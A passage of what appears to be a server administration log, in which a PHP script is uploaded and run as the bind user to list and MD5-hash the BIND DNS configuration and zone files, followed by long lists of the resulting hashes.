MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:30:12: Establishing a connection
2026-04-24 12:30:12: 

PUT: /tmp/pkp135232

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:30:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp135232; rm /tmp/pkp135232'

2026-04-24 12:30:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
